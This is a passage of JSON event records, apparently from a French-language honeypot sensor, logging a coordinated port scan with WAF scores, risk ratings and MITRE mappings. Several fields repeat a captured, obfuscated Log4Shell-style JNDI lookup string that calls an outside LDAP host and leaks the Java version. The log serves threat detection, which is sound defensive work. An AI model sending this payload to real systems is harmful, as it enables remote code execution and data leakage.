\u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022splunk\u0022, \u0022service_banner\u0022: \u0022honeypot-splunk\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228089\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 6, \u0022port_scan_ports_sample\u0022: [7005, 8083, 8084, 8087, 8089, 8090], \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022splunk\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 24, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":null,"http_host":null,"http_user_agent":null,"http_referer":null,"tags":"[]","anomalies":"[]","severity":0,"bytes_in":4096},{"id":14459588,"ip":"34.19.116.51","ts":"2026-07-30 18:47:22.000000","proto":"tcp","src_port":45063,"dst_port":8089,"service":"http","classification":"port_scan_syn","waf_score":26,"waf_tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp:w06:-:}${j:we0:-j}${ej:f4i:-a}${l:gz:-v}${f492:gx6r:f:-a}${euk:tvr3:-.}${7c:-v}${orz:j7b:-e}${irzn:y:0dg5:-r}${fxvo:kd:-s}${y8h:ah:51v:-i}${l:z:-o}${v:n9wc:wv6:-n}}${6:lbcy:me:-.}${o25:-5}${n:x8q:-5}${nq:-7}${8szg:pk:-4}${hl2:-3}${w8:p:a:-3}${js3a:4:-d}${ps:l5:-c}${4f:lbj9:-0}${o:cl:5:-f}${7:kpu:1s6:-b}${s:-8}${ckf:-e}${al:j:eua:-d}${k:csi5:f8:-e}${aign:8fv3:c2:-e}${s5e:uj:-8}${j1o:h5k:-e}${unw:k:h:-2}${v6e4:x:f:-2}${mywf:-e}${p8sj:u:-6}${p:c:-e}${4:yr:-5}${1:5y2k:5fuq:-2}${g:aqkm:1el:-8}${pku:8:e6:-4}${fwtz:ld7h:-f}${75sx:7:-7}${mn8:-2}${1o6s:-e}${a:o1v7:-3}${dk:-3}${z:waq5:-3}${3:xj:vz:-8}${5g2:46h:-f}${q3v2:-d}${2:vpb:shk:-9}${7cq8:tq:mp6j:-0}${6zkd:u:s3y:-e}${ulig:17:rm:-2}${dwpe:-a}${mx:lh0y:-.}${lr:bsp:f:-d}${lh1e:m0j:-n}${3g:9pb:3x:-s}${b18:e:gpa:--}${wndm:-e}${c1:bd:8b2:-x}${9vek:-f}${z:u:-i}${ko:-l}${5plx:h8x:uvi:-.}${kfi:-m}${a:30i1:f:-a}${c:-s}${ym2:zt:xbd:-m}${n:wtp0:-c}${u:hmn:yk:-o}${8t9r:-r}${z:ow8q:3:-e}${qsuj:sg:--}${4:-c}${o0:-f}${q8v:--}${6a9:t:-p}${uypm:3:p:-r}${y:ob:-o}${h:c4:-d}${hi8f:9:--}${805h:2w:-0}${r4:oen:-2}${i:8xjc:-.}${p79t:ad8:ikl:-m}${8:-a}${p59f:ucpo:-s}${0j8:qx6:pa:-m}${w:ms:2n:-.}${t:-c}${3z6:cs9v:-l}${5at6:7tl:s:-o}${7:s:-u}${pr:3v:-d}${r:dj:rxh:-f}${kyt:cov:-e}${8og:9djn:-r}${fwl:zhki:b:-r}${az2:d9fj:c:-y}${axs:a:-.}${htce:-g}${6:ua8:fz:-o}${n:4g5x:-o}${be5t:q:g0c:-g}}","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 4, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 3, \u0022http_path_ext\u0022: \u0022}${htce:-g}${6:ua8:fz:-o}${n:4g5x:-o}${be5t:q:g0c:-g}}\u0022, \u0022http_ua_hash\u0022: \u00229739c784e756e70af78b38fd3dc67b6071f32c92\u0022, \u0022http_host_hash\u0022: \u002206b11278b3d8c06d12bf6f74085c2806fc07bb05\u0022, \u0022http_target_hash\u0022: \u0022af352a844cd707091a3679f0af7c6d76cdc24ccf\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.777338743693272, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8089, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.7, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 67, \u0022tag_count\u0022: 6, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022d77af361e5bdaea8891df50b5c83b0284d3e2699\u0022, \u0022event_fingerprint\u0022: \u0022de5c62ef9f4b99d72fe86349754e68cc14f7b278\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 67, \u0022correlation_boost\u0022: 16}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022c1693486008fea42ea2ee9557b324f07\u0022, \u0022payload_hash\u0022: \u0022925e6e010dd87faacaeffc999e4b60d1\u0022, \u0022path_pattern_hash\u0022: \u00225e4e8aa9ec8b69c5b9376c46a74e14df\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 67}, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp:w06:-:}${j:we0:-j}${ej:f4i:-a}${l:gz:-v}${f492:gx6r:f:-a}${euk:tvr3:-.}${7c:-v}${orz:j7b:-e}${irzn:y:0dg5:-r}${fxvo:kd:-s}${y8h:ah:51v:-i}${l:z:-o}${v:n9wc:wv6:-n}}${6:lbcy:me:-.}${o25:-5}${n:x8q:-5}${nq:-7}${8szg:pk:-4}${hl2:-3}${w8:p:a:-3}${js3a:4:-d}${ps:l\u0022, \u0022user_agent\u0022: \u0022${${njc5:-j}${d:-n}${n:v6:-d}${l:d:-i}${6:hql:-:}${d:7d4:-l}${g:cy:-d}${eo1w:-a}${b:-p}${jki:lux:zbs:-:}${0:3lod:ok:-\/}${nmoa:5n43:-\/}${r1d:j:0:-U}${lc:ym7:-A}${j4:km2y:8uha:-l}${hp:jt:-0}${fg06:ik:-c}${sgz:--}${${2z:gu:p:-s}${nbgl:sf:2u:-y}${lc2m:-s}${d:\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp:w06:-:}${j:we0:-j}${ej:f4i:-a}${l:gz:-v}${f492:gx6r:f:-a}${euk:tvr3:-.}${7c:-v}${orz:j7b:-e}${irzn:y:0dg5:-r}${fxvo:kd:-s}${y8h:ah:51v:-i}${l:z:-o}${v:n9wc:wv6:-n}}${6:lbcy:me:-.}${o25:-5}${n:x8q:-5}${nq:-7}${8szg:pk:-4}${hl2:-3}${w8:p:a:-3}${js3a:4:-d}${\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp:w06:-:}${j:we0:-j}${ej:f4i:-a}${l:gz:-v}${f492:gx6r:f:-a}${euk:tvr3:-.}${7c:-v}${orz:j7b:-e}${irzn:y:0dg5:-r}${fxvo:kd:-s}${y8h:ah:51v:-i}${l:z:-o}${v:n9wc:wv6:-n}}${6:lbcy:me:-.}${o25:-5}${n:x8q:-5}${nq:-7}${8szg:pk:-4}${hl2:-3}${w8:p:a:-3}${js3a:4:-d}${ps:l\u0022, \u0022user_agent\u0022: \u0022${${njc5:-j}${d:-n}${n:v6:-d}${l:d:-i}${6:hql:-:}${d:7d4:-l}${g:cy:-d}${eo1w:-a}${b:-p}${jki:lux:zbs:-:}${0:3lod:ok:-\/}${nmoa:5n43:-\/}${r1d:j:0:-U}${lc:ym7:-A}${j4:km2y:8uha:-l}${hp:jt:-0}${fg06:ik:-c}${sgz:--}${${2z:gu:p:-s}${nbgl:sf:2u:-y}${lc2m:-s}${d:\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp:w06:-:}${j:we0:-j}${ej:f4i:-a}${l:gz:-v}${f492:gx6r:f:-a}${euk:tvr3:-.}${7c:-v}${orz:j7b:-e}${irzn:y:0dg5:-r}${fxvo:kd:-s}${y8h:ah:51v:-i}${l:z:-o}${v:n9wc:wv6:-n}}${6:lbcy:me:-.}${o25:-5}${n:x8q:-5}${nq:-7}${8szg:pk:-4}${hl2:-3}${w8:p:a:-3}${js3a:4:-d}${\u0022, \u0022request_sample\u0022: \u0022GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022102de88ec37962a70835ed9dc53be74d09c45930\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${njc5:-j}${d:-n}${n:v6:-d}${l:d:-i}${6:hql:-:}${d:7d4:-l}${g:cy:-d}${eo1w:-a}${b:-p}${jki:lux:zbs:-:}${0:3lod:ok:-\/}\u2026\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d\u2026\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 67, \u0022correlation_boost\u0022: 16}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 67, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8089, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +16\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${njc5:-j}${d:-n}${n:v6:-d}${l:d:-i}${6:hql:-:}${d:7d4:-l}${g:cy:-d}${eo1w:-a}${b:-p}${jki:lux:zbs:-:}${0:3lod:ok:-\/}\u2026\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d\u2026\u0022, \u0022evidence_snippet\u0022: \u0022GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +16 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228089\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 5, \u0022port_scan_ports_sample\u0022: [7005, 8083, 8084, 8087, 8089], \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 16, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8089","http_user_agent":"${${njc5:-j}${d:-n}${n:v6:-d}${l:d:-i}${6:hql:-:}${d:7d4:-l}${g:cy:-d}${eo1w:-a}${b:-p}${jki:lux:zbs:-:}${0:3lod:ok:-\/}${nmoa:5n43:-\/}${r1d:j:0:-U}${lc:ym7:-A}${j4:km2y:8uha:-l}${hp:jt:-0}${fg06:ik:-c}${sgz:--}${${2z:gu:p:-s}${nbgl:sf:2u:-y}${lc2m:-s}${d:xq:-:}${iq9:u:-j}${xmqc:-a}${siya:j2e:r:-v}${p:3:7:-a}${fw:7:9hiz:-.}${6:-v}${kovl:r7t:-e}${x:kvmb:-r}${xw6:3hz:-s}${sm:87f:x2:-i}${m:rut:-o}${l:0y3:-n}}${gdf4:m5:-.}${da2:-5}${8vta:ji:d:-5}${h6:7:eu8:-7}${re:v9:-4}${s:-3}${531u:-3}${wz6:2ho:-d}${hb:eoc:-c}${k1n:p:uv:-0}${f8zd:q:6i3s:-f}${m:-b}${ist:ikx:-8}${79k:az:-e}${m:l7zh:j:-d}${5i:xjyd:-e}${941q:-e}${efvt:-8}${7:pz:-e}${x5o:-2}${81n:-2}${b:1r9:jm4:-e}${v:-6}${n:9:y9m:-e}${lh:y4:-5}${qr:loi6:-2}${qrsw:gt:-8}${14u:5o:07:-4}${7t:x4p:v2:-f}${i:ab3z:-7}${2x:g1pc:-2}${h9q:-e}${zc:-3}${uv:wvp0:-3}${v97:6d:io:-3}${ibd:21:pn:-8}${b0:-f}${gqm8:hy:-d}${b:bag:-9}${tk:dlq:-0}${ith0:-e}${sd8:-2}${s4da:anr:-a}${c709:k5jf:-.}${6w:ayk:-d}${qu:a:58p2:-n}${ku:-s}${t5:--}${e:-e}${m2:q0h:pcfk:-x}${2nw9:49b:vx:-f}${pd:yaz:9og:-i}${sae7:-l}${wa:jf:t:-.}${ho:-m}${ox9:2xb:7:-a}${4:stv:6:-s}${l3:v:-m}${0cbe:5:-c}${hcwg:xr:f4d:-o}${yis:i2r:-r}${r:8jzf:-e}${od:--}${uyi:8rk:-c}${wkcd:p:-f}${4d:--}${qjb:-p}${vs:-r}${d:v:-o}${x7:oey:ru:-d}${vlu:x:--}${l3:pz:-0}${vw2:-2}${d:sx3:62i:-.}${hbd7:6t:-m}${ijdn:zv:-a}${iy5d:-s}${3:6u:4z:-m}${2k:-.}${1g5u:d:m:-c}${h:-l}${q:3hu:-o}${vz:-u}${r4:cu83:0wj:-d}${vx:br:n9f:-f}${w9:yg8j:-e}${qwfs:-r}${2u:uc1o:j:-r}${dl4u:4oz:7ic5:-y}${yf:a20l:39m:-.}${10r:-g}${irwv:zb:27:-o}${xq:qm74:tbd:-o}${zok:p:-g}}","http_referer":null,"tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":4096},{"id":14459594,"ip":"34.19.116.51","ts":"2026-07-30 18:47:22.000000","proto":"tcp","src_port":63089,"dst_port":8090,"service":"http","classification":"port_scan_syn","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: 